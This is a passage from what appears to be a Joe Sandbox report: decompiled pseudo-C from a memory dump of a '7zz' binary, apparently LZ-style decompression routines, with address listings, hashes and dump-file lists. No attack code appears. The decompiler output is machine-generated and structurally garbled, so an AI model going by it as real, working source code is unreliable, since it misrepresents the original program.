										E0040EFBD(_t345, __eflags);
									}
									_t174 =  *(_t378 + 0xd54);
									_t379 = 0;
									_t395 = _t395 - 1;
									__eflags = _t174;
									if(_t174 > 0) {
										continue;
									} else {
										 *(_t402 + 0x28) = _t395;
										goto L18;
									}
									goto L83;
								}
								 *(_t402 + 0x28) = _t395;
								goto L82;
							}
						}
					} else {
						if( *((intOrPtr*)(__ecx + 0xd52)) != 0) {
							L5:
							_t274 =  *((intOrPtr*)(_t378 + 0xd53));
							_t249 = E0040DF95(_t378 + 0x48, 0x20000);
							__eflags = _t249;
							if(_t249 == 0) {
								goto L4;
							} else {
								__eflags = _t274;
								if(_t274 != 0) {
									E0040DFF3(_t378 + 0x48);
									 *((intOrPtr*)(_t378 + 0x40)) = 0x20;
									 *(_t378 + 0x44) = _t379;
									 *(_t378 + 0x68) = _t379;
									 *(_t378 + 0x70) = _t379;
									 *((char*)(_t378 + 0xd53)) = 0;
								}
								E00450690( *((intOrPtr*)(_t378 + 0xd52)));
								 *(_t378 + 0xd48) = 0;
								 *(_t378 + 0xd54) = _t379;
								 *(_t378 + 0xd5c) = 1;
								goto L9;
							}
						} else {
							asm("sbb eax, eax");
							if(E0040EE76(__ecx + 0x18, ( ~( *(__ecx + 0xd51)) & 0x00008000) + 0x8000) != 0) {
								goto L5;
							} else {
								L4:
								return 0x8007000e;
							}
						}
					}
				}
				L83:
			}

0x0044a7e7
0x0044a7e9
0x0044a7f2
0x0044ad6d
0x0044ad6d
0x0044ad73
0x0044a7f8
0x0044a7f8
0x0044a7fd
0x0044a89a
0x0044a89a
0x0044a89e
0x0044a8a0
0x00000000
0x0044a8a6
0x0044a8a6
0x0044a8ac
0x0044a8ae
0x0044a90a
0x0044a90a
0x0044a90c
0x00000000
0x00000000
0x0044a912
0x0044a918
0x0044a91a
0x00000000
0x00000000
0x0044a922
0x0044a924
0x0044ad41
0x0044ad4e
0x0044ad54
0x0044a92a
0x0044a92c
0x0044a931
0x0044a933
0x0044ad5a
0x0044ad63
0x0044a939
0x0044a939
0x00000000
0x0044a939
0x0044a933
0x00000000
0x0044a940
0x0044a946
0x0044a948
0x0044a9f5
0x0044a9f5
0x0044a9f9
0x00000000
0x00000000
0x0044a9ff
0x0044aa04
0x0044aa09
0x0044aa20
0x0044aa25
0x0044aa27
0x0044aa39
0x0044aa3f
0x0044aa45
0x0044aa4a
0x0044aa4c
0x0044aa4c
0x0044aa4f
0x0044aa50
0x0044aa50
0x0044aa4c
0x0044aa29
0x0044aa30
0x0044aa30
0x0044aa58
0x0044aa5f
0x0044aa78
0x0044aa7a
0x0044aa7f
0x00000000
0x0044aa85
0x0044aa85
0x0044aa8c
0x0044aa91
0x0044aabe
0x0044ad1b
0x00000000
0x0044aac4
0x0044aac4
0x0044aac9
0x00000000
0x0044aacf
0x0044aad5
0x0044aada
0x0044aadc
0x0044aaf6
0x0044aafe
0x0044ab04
0x0044aade
0x0044aae8
0x0044aaee
0x0044aaee
0x0044ab0a
0x0044ab0c
0x0044ab0f
0x0044ab11
0x0044ab19
0x0044ab1e
0x0044ab23
0x0044ab25
0x0044ab2a
0x0044ab2f
0x0044ab2f
0x0044ab30
0x0044ab30
0x0044ab37
0x0044ab4e
0x0044ab61
0x0044ab64
0x0044ab67
0x0044ab6a
0x0044ab6a
0x0044ab11
0x0044ab6e
0x0044ab7e
0x0044ab8b
0x0044ab8b
0x0044ab8f
0x0044ab93
0x0044ab95
0x0044ab98
0x0044ab9c
0x0044aba0
0x0044aba2
0x0044aba2
0x0044aba8
0x0044abad
0x0044abc4
0x0044abc9
0x0044abcb
0x0044abe5
0x0044abeb
0x0044abed
0x0044abf2
0x0044abf4
0x0044abf4
0x0044abf7
0x0044abfa
0x0044abfb
0x0044abfb
0x0044abf4
0x0044abcd
0x0044abdb
0x0044abdb
0x0044ac03
0x0044ac11
0x0044ac1b
0x0044ac26
0x0044ac28
0x0044ac2b
0x0044ac32
0x0044ac2d
0x0044ac2d
0x0044ac2d
0x0044ac3f
0x0044ac43
0x0044ac45
0x00000000
0x0044ac4b
0x0044ac55
0x0044ac5a
0x0044ac5c
0x0044ac64
0x0044ac69
0x0044ac6e
0x0044ac70
0x0044ac75
0x0044ac7a
0x0044ac7a
0x0044ac7b
0x0044ac7b
0x0044ac82
0x0044ac99
0x0044acac
0x0044acaf
0x0044acb2
0x0044acb5
0x0044acb5
0x0044acb9
0x0044acb9
0x0044acbd
0x0044accd
0x0044acda
0x0044acde
0x0044ace8
0x0044acea
0x0044aceb
0x0044acf0
0x0044acf2
0x00000000
0x0044acf4
0x0044acf4
0x0044ad02
0x0044ad02
0x0044ad04
0x0044ad08
0x0044ad0c
0x0044ad28
0x0044ad2c
0x0044ad32
0x00000000
0x00000000
0x00000000
0x00000000
0x0044ad0c
0x0044acf2
0x0044ac45
0x0044aac9
0x0044aa93
0x0044aa99
0x0044aa9c
0x0044aaa5
0x0044aaa8
0x0044aaab
0x0044aaad
0x0044aaaf
0x0044aaaf
0x0044aab5
0x0044ad0e
0x0044ad0e
0x0044ad12
0x0044ad14
0x00000000
0x0044ad16
0x00000000
0x0044ad16
0x0044ad14
0x0044aa91
0x00000000
0x0044aa7f
0x00000000
0x0044a94e
0x0044a94e
0x0044a954
0x0044a956
0x0044a95c
0x0044a95c
0x0044a95e
0x00000000
0x00000000
0x0044a960
0x0044a963
0x0044a966
0x0044a994
0x0044a99a
0x0044a9a0
0x0044a9a0
0x0044a9a3
0x0044a968
0x0044a96e
0x0044a971
0x0044a973
0x0044a980
0x0044a980
0x0044a982
0x0044a985
0x0044a975
0x0044a977
0x0044a97c
0x0044a97e
0x0044a98c
0x0044a98f
0x00000000
0x00000000
0x00000000
0x0044a97e
0x0044a973
0x0044a9ac
0x0044a9af
0x0044a9b8
0x0044a9bb
0x0044a9be
0x0044a9c0
0x0044a9c2
0x0044a9c2
0x0044a9cd
0x0044a9ce
0x0044a9d1
0x0044a9d7
0x0044a9d9
0x00000000
0x00000000
0x00000000
0x0044a9d9
0x0044a9db
0x0044a9e1
0x0044a9e5
0x0044a9e5
0x0044a9ea
0x0044ad38
0x0044ad38
0x0044ad3a
0x00000000
0x0044ad3c
0x00000000
0x0044ad3c
0x0044ad3a
0x00000000
0x0044a948
0x0044a912
0x0044a8b0
0x0044a8b0
0x0044a8b0
0x0044a8b2
0x00000000
0x00000000
0x0044a8bf
0x0044a8c2
0x0044a8cd
0x0044a8d0
0x0044a8d1
0x0044a8d3
0x0044a8d5
0x0044a8d5
0x0044a8d5
0x0044a8e1
0x0044a8ea
0x0044a8ed
0x0044a8f0
0x0044a8f2
0x0044a8f4
0x0044a8f4
0x0044a8f9
0x0044a8ff
0x0044a901
0x0044a902
0x0044a904
0x00000000
0x0044a906
0x0044a906
0x00000000
0x0044a906
0x00000000
0x0044a904
0x0044ad66
0x00000000
0x0044ad66
0x0044a8ae
0x0044a803
0x0044a80b
0x0044a83d
0x0044a83d
0x0044a84b
0x0044a850
0x0044a852
0x00000000
0x0044a854
0x0044a854
0x0044a856
0x0044a85b
0x0044a860
0x0044a867
0x0044a86a
0x0044a86d
0x0044a870
0x0044a870
0x0044a881
0x0044a886
0x0044a88d
0x0044a893
0x00000000
0x0044a893
0x0044a80d
0x0044a818
0x0044a82c
0x00000000
0x0044a831
0x0044a831
0x0044a83a
0x0044a83a
0x0044a82c
0x0044a80b
0x0044a7fd
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: beb4acdf8bf1421510833bd6b1ce7ab3a7039bd55d3ca3d2172d8faff35e7650
Instruction ID: 184203cb68d9c273adb077903bfb3a348430252a785c529ac687c963470ba2b4
Opcode Fuzzy Hash: beb4acdf8bf1421510833bd6b1ce7ab3a7039bd55d3ca3d2172d8faff35e7650
Instruction Fuzzy Hash: E902E371604A428BD718CF28C49066AFBE2FF95304F14462ED49A87741D739F8A6CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 0044E430 Relevance: .4, Instructions: 418
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E0044E430(signed int __ecx, void* __eflags) {
				intOrPtr _t140;
				signed int _t141;
				signed int _t142;
				signed int _t148;
				signed int _t150;
				signed int _t151;
				signed int _t153;
				signed int _t156;
				unsigned int _t159;
				signed int _t160;
				signed int _t175;
				intOrPtr _t180;
				signed int _t182;
				signed int _t183;
				unsigned int _t185;
				signed int _t187;
				void* _t191;
				signed int _t193;
				signed int _t198;
				signed int _t200;
				intOrPtr _t202;
				char* _t203;
				signed int _t207;
				signed int _t209;
				intOrPtr _t214;
				signed int _t216;
				signed int _t221;
				signed int _t228;
				signed int _t229;
				signed int _t231;
				signed int _t232;
				signed int _t252;
				signed int _t285;
				signed int _t289;
				signed int _t292;
				intOrPtr _t295;
				intOrPtr _t309;
				signed int _t313;
				intOrPtr _t315;
				signed int _t316;
				intOrPtr _t321;
				signed int _t324;
				intOrPtr _t326;
				intOrPtr* _t329;
				intOrPtr* _t333;
				signed int _t337;
				signed int _t342;
				signed int _t349;
				intOrPtr* _t350;
				intOrPtr _t355;
				void* _t356;

				_push(0xffffffff);
				_push(E00479808);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t355;
				_t356 = _t355 - 0x24;
				_t337 = __ecx;
				_t332 = __ecx + 0x40;
				 *(_t356 + 0x14) = __ecx;
				if(E0040DF95(__ecx + 0x40, 0x100000) != 0) {
					_t140 =  *0x4914f0; // 0x2000
					_t329 = __ecx + 0x10;
					_t141 = E0040EE76(_t329, _t140);
					__eflags = _t141;
					if(_t141 != 0) {
						_t142 =  *(_t356 + 0x50);
						__eflags = _t142;
						if(_t142 != 0) {
							 *((intOrPtr*)(_t356 + 0x24)) =  *_t142;
							 *((intOrPtr*)(_t356 + 0x20)) = 0;
							 *((intOrPtr*)(_t356 + 0x24)) = 0;
							 *((intOrPtr*)(_t356 + 0x2c)) =  *((intOrPtr*)(_t142 + 4));
							E0040EEC1(_t329,  *(_t356 + 0x48));
							E00450690(0);
							E0040DFE4(_t332,  *(_t356 + 0x44));
							_t333 = __ecx + 0x38;
							E0040DFF3(_t333 + 8);
							 *_t333 = 0x20;
							 *(_t333 + 4) = 0;
							 *(_t333 + 0x28) = 0;
							 *(_t333 + 0x30) = 0;
							 *((intOrPtr*)(_t356 + 0x18)) = __ecx;
							 *((intOrPtr*)(_t356 + 0x3c)) = 0;
							_t148 = E0044E3B0(__ecx);
							__eflags = _t148;
							if(_t148 != 0) {
								_t309 =  *((intOrPtr*)(_t356 + 0x20));
								__eflags = _t309 -  *((intOrPtr*)(_t356 + 0x28));
								_t150 =  *(_t356 + 0x1c);
								if(__eflags > 0) {
									L64:
									__eflags =  *((intOrPtr*)(_t356 + 0x20)) -  *((intOrPtr*)(_t356 + 0x28));
									if(__eflags < 0) {
										L70:
										_t151 = E0040EFA1(_t329);
										 *((intOrPtr*)(_t356 + 0x3c)) = 0xffffffff;
										E0044E120(_t337);
										_t153 = _t151;
									} else {
										if(__eflags > 0) {
											goto L67;
										} else {
											__eflags = _t150 -  *((intOrPtr*)(_t356 + 0x24));
											if(_t150 <=  *((intOrPtr*)(_t356 + 0x24))) {
												goto L70;
											} else {
												goto L67;
											}
										}
									}
								} else {
									if(__eflags < 0) {
										L11:
										_t221 =  *(_t356 + 0x54);
										__eflags = _t221;
										if(_t221 == 0) {
											L15:
											L0041F43D(_t333);
											_t156 =  *(_t333 + 0x30);
											__eflags = _t156 & 0x00000001;
											 *_t333 =  *_t333 + 1;
											 *(_t333 + 0x30) = _t156 >> 1;
											if((_t156 & 0x00000001) != 0) {
												__eflags =  *(_t337 + 0x239);
												if( *(_t337 + 0x239) == 0) {
													__eflags =  *_t333 - 8;
													if( *_t333 >= 8) {
														do {
															 *((char*)(_t356 + 0x18)) = 0;
															_t175 = E0044AD80(_t333 + 8, _t356 + 0x14);
															__eflags = _t175;
															if(_t175 == 0) {
																 *(_t356 + 0x14) = 0xff;
																_t182 =  *(_t333 + 0x28) + 1;
																__eflags = _t182;
																 *(_t333 + 0x28) = _t182;
															}
															_t315 =  *_t333;
															 *(_t333 + 0x30) =  *(_t333 + 0x30) | ( *(_t356 + 0x14) & 0x000000ff) << 0x00000020 - _t315;
															_t180 = _t315 - 8;
															__eflags = _t180 - 8;
															 *(_t333 + 4) =  *(_t333 + 4) << 8;
															 *_t333 = _t180;
														} while (_t180 >= 8);
													}
													_t159 =  *(_t333 + 0x30);
													_t252 = _t159 & 0x000000ff;
													 *_t333 =  *_t333 + 8;
													_t160 = _t159 >> 8;
													__eflags = _t160;
													 *(_t333 + 0x30) = _t160;
													goto L58;
												} else {
													_push(_t333);
													_t183 = E0044EBB0(_t337 + 0x70);
													__eflags = _t183 - 0x100;
													if(_t183 >= 0x100) {
														L67:
														 *((intOrPtr*)(_t356 + 0x3c)) = 0xffffffff;
														E0044E120(_t337);
														_t153 = 1;
													} else {
														_t252 = _t183;
														L58:
														 *( *(_t329 + 4) +  *_t329) = _t252;
														_t313 =  *(_t329 + 4) + 1;
														 *(_t329 + 4) = _t313;
														__eflags = _t313 -  *((intOrPtr*)(_t329 + 8));
														if(__eflags == 0) {
															E0040EFBD(_t329, __eflags);
														}
														_t150 =  *(_t356 + 0x1c) + 1;
														__eflags = _t150;
														asm("adc ecx, 0x0");
														 *(_t356 + 0x1c) = _t150;
														goto L61;
													}
												}
											} else {
												_t228 =  *(_t337 + 0x23c);
												L0041F43D(_t333);
												_t185 =  *(_t333 + 0x30);
												_push(_t333);
												 *_t333 =  *_t333 + _t228;
												_t229 =  *(_t356 + 0x14);
												_t342 = (0x00000001 << _t228) - 0x00000001 & _t185;
												_t41 = _t229 + 0x1a0; // 0x1001a0
												 *(_t333 + 0x30) = _t185 >> _t228;
												_t187 = E0044EBB0(_t41);
												__eflags = _t187 - 0x40;
												if(_t187 >= 0x40) {
													L69:
													 *((intOrPtr*)(_t356 + 0x3c)) = 0xffffffff;
													E0044E120(_t229);
													_t153 = 1;
												} else {
													_push(_t333);
													_t44 = _t229 + 0x108; // 0x100108
													 *(_t356 + 0x54) = (_t187 <<  *(_t229 + 0x23c)) + _t342;
													_t191 = E0044EBB0(_t44);
													__eflags = _t191 - 0x40;
													if(_t191 >= 0x40) {
														goto L69;
													} else {
														_t231 =  *((intOrPtr*)(_t229 + 0x240)) + _t191;
														__eflags = _t191 - 0x3f;
														if(_t191 == 0x3f) {
															__eflags =  *_t333 - 8;
															if( *_t333 >= 8) {
																do {
																	 *(_t356 + 0x48) = 0;
																	_t209 = E0044AD80(_t333 + 8, _t356 + 0x44);
																	__eflags = _t209;
																	if(_t209 == 0) {
																		 *(_t356 + 0x44) = 0xff;
																		_t216 =  *(_t333 + 0x28) + 1;
																		__eflags = _t216;
																		 *(_t333 + 0x28) = _t216;
																	}
																	_t326 =  *_t333;
																	 *(_t333 + 0x30) =  *(_t333 + 0x30) | ( *(_t356 + 0x44) & 0x000000ff) << 0x00000020 - _t326;
																	_t214 = _t326 - 8;
																	__eflags = _t214 - 8;
																	 *(_t333 + 4) =  *(_t333 + 4) << 8;
																	 *_t333 = _t214;
																} while (_t214 >= 8);
															}
															_t207 =  *(_t333 + 0x30);
															 *_t333 =  *_t333 + 8;
															 *(_t333 + 0x30) = _t207 >> 8;
															_t231 = _t231 + (_t207 & 0x000000ff);
															__eflags = _t231;
														}
														__eflags = 0 -  *((intOrPtr*)(_t356 + 0x20));
														_t193 =  *(_t356 + 0x1c);
														if(__eflags < 0) {
															L33:
															__eflags = _t231;
															if(_t231 > 0) {
																_t285 =  *(_t329 + 4);
																_t316 =  *(_t356 + 0x50);
																 *(_t356 + 0x48) = _t231;
																_t349 = _t285 - _t316 - 1;
																__eflags = _t316 - _t285;
																if(_t316 < _t285) {
																	L38:
																	__eflags =  *((intOrPtr*)(_t329 + 8)) - _t285 - _t231;
																	if( *((intOrPtr*)(_t329 + 8)) - _t285 <= _t231) {
																		L43:
																		__eflags = _t349 -  *((intOrPtr*)(_t329 + 0x10));
																		if(_t349 ==  *((intOrPtr*)(_t329 + 0x10))) {
																			_t349 = 0;
																			__eflags = 0;
																		}
																		 *((char*)( *_t329 +  *(_t329 + 4))) =  *((intOrPtr*)( *_t329 + _t349));
																		_t198 =  *(_t329 + 4) + 1;
																		_t349 = _t349 + 1;
																		__eflags = _t198 -  *((intOrPtr*)(_t329 + 8));
																		 *(_t329 + 4) = _t198;
																		if(__eflags == 0) {
																			E0040EFBD(_t329, __eflags);
																		}
																		_t200 =  *(_t356 + 0x48) - 1;
																		__eflags = _t200;
																		 *(_t356 + 0x48) = _t200;
																	} else {
																		__eflags =  *((intOrPtr*)(_t329 + 0x10)) - _t349 - _t231;
																		if( *((intOrPtr*)(_t329 + 0x10)) - _t349 <= _t231) {
																			do {
																				goto L43;
																			} while (_t200 != 0);
																		} else {
																			_t202 =  *_t329;
																			_t350 = _t349 + _t202;
																			_t203 = _t202 + _t285;
																			_t289 = _t285 + _t231;
																			__eflags = _t289;
																			 *(_t329 + 4) = _t289;
																			do {
																				 *_t203 =  *_t350;
																				_t203 = _t203 + 1;
																				_t350 = _t350 + 1;
																				_t292 =  *(_t356 + 0x48) - 1;
																				__eflags = _t292;
																				 *(_t356 + 0x48) = _t292;
																			} while (_t292 != 0);
																		}
																	}
																	_t193 =  *(_t356 + 0x1c);
																} else {
																	__eflags =  *(_t329 + 0x24);
																	if( *(_t329 + 0x24) != 0) {
																		_t321 =  *((intOrPtr*)(_t329 + 0x10));
																		__eflags =  *(_t356 + 0x50) - _t321;
																		if( *(_t356 + 0x50) < _t321) {
																			_t349 = _t349 + _t321;
																			__eflags = _t349;
																			goto L38;
																		}
																	}
																}
															}
														} else {
															if(__eflags > 0) {
																goto L27;
															} else {
																__eflags =  *(_t356 + 0x50) - _t193;
																if( *(_t356 + 0x50) < _t193) {
																	goto L33;
																} else {
																	while(1) {
																		L27:
																		__eflags = _t231;
																		if(_t231 <= 0) {
																			goto L49;
																		}
																		 *( *(_t329 + 4) +  *_t329) = 0;
																		_t324 =  *(_t329 + 4) + 1;
																		 *(_t329 + 4) = _t324;
																		__eflags = _t324 -  *((intOrPtr*)(_t329 + 8));
																		if(__eflags == 0) {
																			E0040EFBD(_t329, __eflags);
																		}
																		_t295 =  *((intOrPtr*)(_t356 + 0x20));
																		_t193 =  *(_t356 + 0x1c) + 1;
																		asm("adc ecx, 0x0");
																		_t231 = _t231 - 1;
																		__eflags = 0 - _t295;
																		 *(_t356 + 0x1c) = _t193;
																		 *((intOrPtr*)(_t356 + 0x20)) = _t295;
																		if(__eflags > 0) {
																			continue;
																		} else {
																			if(__eflags < 0) {
																				goto L33;
																			} else {
																				__eflags =  *(_t356 + 0x50) - _t193;
																				if( *(_t356 + 0x50) >= _t193) {
																					continue;
																				} else {
																					goto L33;
																				}
																			}
																		}
																		goto L49;
																	}
																}
															}
														}
														L49:
														_t337 =  *((intOrPtr*)(_t356 + 0x10));
														_t150 = _t193 + _t231;
														asm("adc ecx, 0x0");
														 *(_t356 + 0x1c) = _t150;
														goto L61;
													}
												}
											}
										} else {
											__eflags = _t150 & 0x0000ffff;
											if((_t150 & 0x0000ffff) != 0) {
												goto L15;
											} else {
												asm("cdq");
												asm("sbb edx, ebp");
												asm("adc edx, ebp");
												 *((intOrPtr*)(_t356 + 0x2c)) =  *((intOrPtr*)(_t333 + 8)) -  *((intOrPtr*)(_t333 + 0x10)) - (0x20 -  *_t333 >> 3) +  *(_t333 + 0x28) +  *((intOrPtr*)(_t333 + 0x18));
												asm("adc edx, ebp");
												 *((intOrPtr*)(_t356 + 0x34)) = _t309;
												_t232 =  *((intOrPtr*)( *_t221 + 0xc))(_t221, _t356 + 0x2c, _t356 + 0x1c);
												__eflags = _t232;
												if(_t232 != 0) {
													 *((intOrPtr*)(_t356 + 0x3c)) = 0xffffffff;
													E0044E120( *((intOrPtr*)(_t356 + 0x10)));
													_t153 = _t232;
												} else {
													_t337 =  *((intOrPtr*)(_t356 + 0x10));
													goto L15;
												}
											}
										}
									} else {
										__eflags = _t150 -  *((intOrPtr*)(_t356 + 0x24));
										if(_t150 <  *((intOrPtr*)(_t356 + 0x24))) {
											goto L11;
											do {
												do {
													goto L11;
													L61:
													_t309 =  *((intOrPtr*)(_t356 + 0x28));
													__eflags =  *((intOrPtr*)(_t356 + 0x20)) - _t309;
												} while (__eflags < 0);
												if(__eflags > 0) {
													goto L64;
												} else {
													goto L63;
												}
												goto L71;
												L63:
												__eflags = _t150 -  *((intOrPtr*)(_t356 + 0x24));
											} while (_t150 <  *((intOrPtr*)(_t356 + 0x24)));
										}
										goto L64;
									}
								}
							} else {
								 *((intOrPtr*)(_t356 + 0x3c)) = 0xffffffff;
								E0044E120(_t337);
								_t153 = 1;
							}
						} else {
							_t153 = 0x80070057;
						}
					} else {
						_t153 = 0x8007000e;
					}
				} else {
					_t153 = 0x8007000e;
				}
				L71:
				 *[fs:0x0] =  *((intOrPtr*)(_t356 + 0x34));
				return _t153;
			}

0x0044e430
0x0044e432
0x0044e43d
0x0044e43e
0x0044e445
0x0044e44a
0x0044e453
0x0044e456
0x0044e463
0x0044e46f
0x0044e474
0x0044e47a
0x0044e47f
0x0044e481
0x0044e48d
0x0044e493
0x0044e495
0x0044e4aa
0x0044e4b1
0x0044e4b5
0x0044e4b9
0x0044e4bd
0x0044e4c5
0x0044e4d1
0x0044e4d6
0x0044e4dc
0x0044e4e1
0x0044e4e7
0x0044e4ea
0x0044e4ed
0x0044e4f0
0x0044e4f6
0x0044e4fa
0x0044e4ff
0x0044e501
0x0044e51c
0x0044e524
0x0044e526
0x0044e52a
0x0044e8ae
0x0044e8b6
0x0044e8b8
0x0044e903
0x0044e905
0x0044e90e
0x0044e916
0x0044e91b
0x0044e8ba
0x0044e8ba
0x00000000
0x0044e8bc
0x0044e8bc
0x0044e8c0
0x00000000
0x00000000
0x00000000
0x00000000
0x0044e8c0
0x0044e8ba
0x0044e530
0x0044e530
0x0044e53c
0x0044e53c
0x0044e540
0x0044e542
0x0044e5a1
0x0044e5a3
0x0044e5a8
0x0044e5b5
0x0044e5b7
0x0044e5b9
0x0044e5bc
0x0044e7c7
0x0044e7c9
0x0044e7e3
0x0044e7e6
0x0044e7e8
0x0044e7f0
0x0044e7f5
0x0044e7fa
0x0044e7fc
0x0044e801
0x0044e806
0x0044e806
0x0044e807
0x0044e807
0x0044e80e
0x0044e825
0x0044e838
0x0044e83b
0x0044e83e
0x0044e841
0x0044e841
0x0044e7e8
0x0044e845
0x0044e84f
0x0044e855
0x0044e857
0x0044e857
0x0044e85a
0x00000000
0x0044e7cb
0x0044e7cb
0x0044e7cf
0x0044e7d4
0x0044e7d9
0x0044e8c2
0x0044e8c4
0x0044e8cc
0x0044e8d1
0x0044e7df
0x0044e7df
0x0044e85d
0x0044e862
0x0044e86b
0x0044e86e
0x0044e871
0x0044e873
0x0044e877
0x0044e877
0x0044e884
0x0044e884
0x0044e887
0x0044e88a
0x00000000
0x0044e88e
0x0044e7d9
0x0044e5c2
0x0044e5c2
0x0044e5ca
0x0044e5cf
0x0044e5d9
0x0044e5e0
0x0044e5e4
0x0044e5e9
0x0044e5ed
0x0044e5f3
0x0044e5f6
0x0044e5fb
0x0044e5fe
0x0044e8ed
0x0044e8ef
0x0044e8f7
0x0044e8fc
0x0044e604
0x0044e60a
0x0044e60d
0x0044e615
0x0044e619
0x0044e61e
0x0044e621
0x00000000
0x0044e627
0x0044e62d
0x0044e62f
0x0044e632
0x0044e634
0x0044e637
0x0044e639
0x0044e641
0x0044e646
0x0044e64b
0x0044e64d
0x0044e652
0x0044e657
0x0044e657
0x0044e658
0x0044e658
0x0044e65f
0x0044e676
0x0044e689
0x0044e68c
0x0044e68f
0x0044e692
0x0044e692
0x0044e639
0x0044e696
0x0044e6a6
0x0044e6ab
0x0044e6ae
0x0044e6ae
0x0044e6ae
0x0044e6b6
0x0044e6b8
0x0044e6bc
0x0044e711
0x0044e711
0x0044e713
0x0044e719
0x0044e71c
0x0044e722
0x0044e728
0x0044e729
0x0044e72b
0x0044e73f
0x0044e744
0x0044e746
0x0044e770
0x0044e770
0x0044e773
0x0044e775
0x0044e775
0x0044e775
0x0044e77f
0x0044e788
0x0044e789
0x0044e78a
0x0044e78c
0x0044e78f
0x0044e793
0x0044e793
0x0044e79c
0x0044e79c
0x0044e79d
0x0044e748
0x0044e74d
0x0044e74f
0x0044e770
0x00000000
0x00000000
0x0044e751
0x0044e751
0x0044e753
0x0044e755
0x0044e757
0x0044e757
0x0044e759
0x0044e75c
0x0044e75f
0x0044e765
0x0044e766
0x0044e767
0x0044e767
0x0044e768
0x0044e768
0x0044e76e
0x0044e74f
0x0044e7a3
0x0044e72d
0x0044e730
0x0044e732
0x0044e734
0x0044e737
0x0044e73b
0x0044e73d
0x0044e73d
0x00000000
0x0044e73d
0x0044e73b
0x0044e732
0x0044e72b
0x0044e6be
0x0044e6be
0x00000000
0x0044e6c0
0x0044e6c0
0x0044e6c4
0x00000000
0x00000000
0x0044e6c6
0x0044e6c6
0x0044e6c6
0x0044e6c8
0x00000000
0x00000000
0x0044e6d3
0x0044e6dd
0x0044e6e0
0x0044e6e3
0x0044e6e5
0x0044e6e9
0x0044e6e9
0x0044e6f2
0x0044e6f6
0x0044e6f9
0x0044e6fc
0x0044e6fd
0x0044e6ff
0x0044e703
0x0044e707
0x00000000
0x0044e709
0x0044e709
0x00000000
0x0044e70b
0x0044e70b
0x0044e70f
0x00000000
0x00000000
0x00000000
0x00000000
0x0044e70f
0x0044e709
0x00000000
0x0044e707
0x0044e6c6
0x0044e6c4
0x0044e6be
0x0044e7a7
0x0044e7ab
0x0044e7af
0x0044e7b1
0x0044e7b4
0x00000000
0x0044e7b8
0x0044e621
0x0044e5fe
0x0044e544
0x0044e54b
0x0044e54d
0x00000000
0x0044e54f
0x0044e562
0x0044e56b
0x0044e572
0x0044e57d
0x0044e585
0x0044e588
0x0044e593
0x0044e595
0x0044e597
0x0044e8dc
0x0044e8e4
0x0044e8e9
0x0044e59d
0x0044e59d
0x00000000
0x0044e59d
0x0044e597
0x0044e54d
0x0044e532
0x0044e532
0x0044e536
0x00000000
0x0044e53c
0x0044e53c
0x00000000
0x0044e892
0x0044e896
0x0044e89a
0x0044e89a
0x0044e8a2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0044e8a4
0x0044e8a4
0x0044e8a4
0x0044e53c
0x00000000
0x0044e536
0x0044e530
0x0044e503
0x0044e505
0x0044e50d
0x0044e512
0x0044e512
0x0044e497
0x0044e497
0x0044e497
0x0044e483
0x0044e483
0x0044e483
0x0044e465
0x0044e465
0x0044e465
0x0044e91d
0x0044e925
0x0044e92f

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdb79ba1893ab33bcd4eb932cbc06b661e8d4d2b215cf5133c1798053672a223
Instruction ID: 149f3ba7fcc7b310817431056b7830669582af05e2817226ce6dbfe3fe10b790
Opcode Fuzzy Hash: bdb79ba1893ab33bcd4eb932cbc06b661e8d4d2b215cf5133c1798053672a223
Instruction Fuzzy Hash: 33F1B3706047428FEB14DF2AC59062AF7E1FF89314F544A2EE4E687781D738E945CB49

Uniqueness

Uniqueness Score: -1.00%

Function 00451050 Relevance: .4, Instructions: 373
COMMONCrypto

Download Yara Rule

C-Code - Quality: 69%

			E00451050(void* __ecx) {
				intOrPtr _t134;
				intOrPtr _t137;
				signed int _t139;
				signed int _t140;
				signed int _t141;
				void* _t143;
				void* _t145;
				void* _t147;
				void* _t149;
				signed int _t163;
				intOrPtr* _t182;
				unsigned int _t185;
				intOrPtr* _t189;
				intOrPtr* _t191;
				intOrPtr _t201;
				signed int _t213;
				int _t223;
				void* _t241;
				unsigned int _t244;
				intOrPtr _t246;
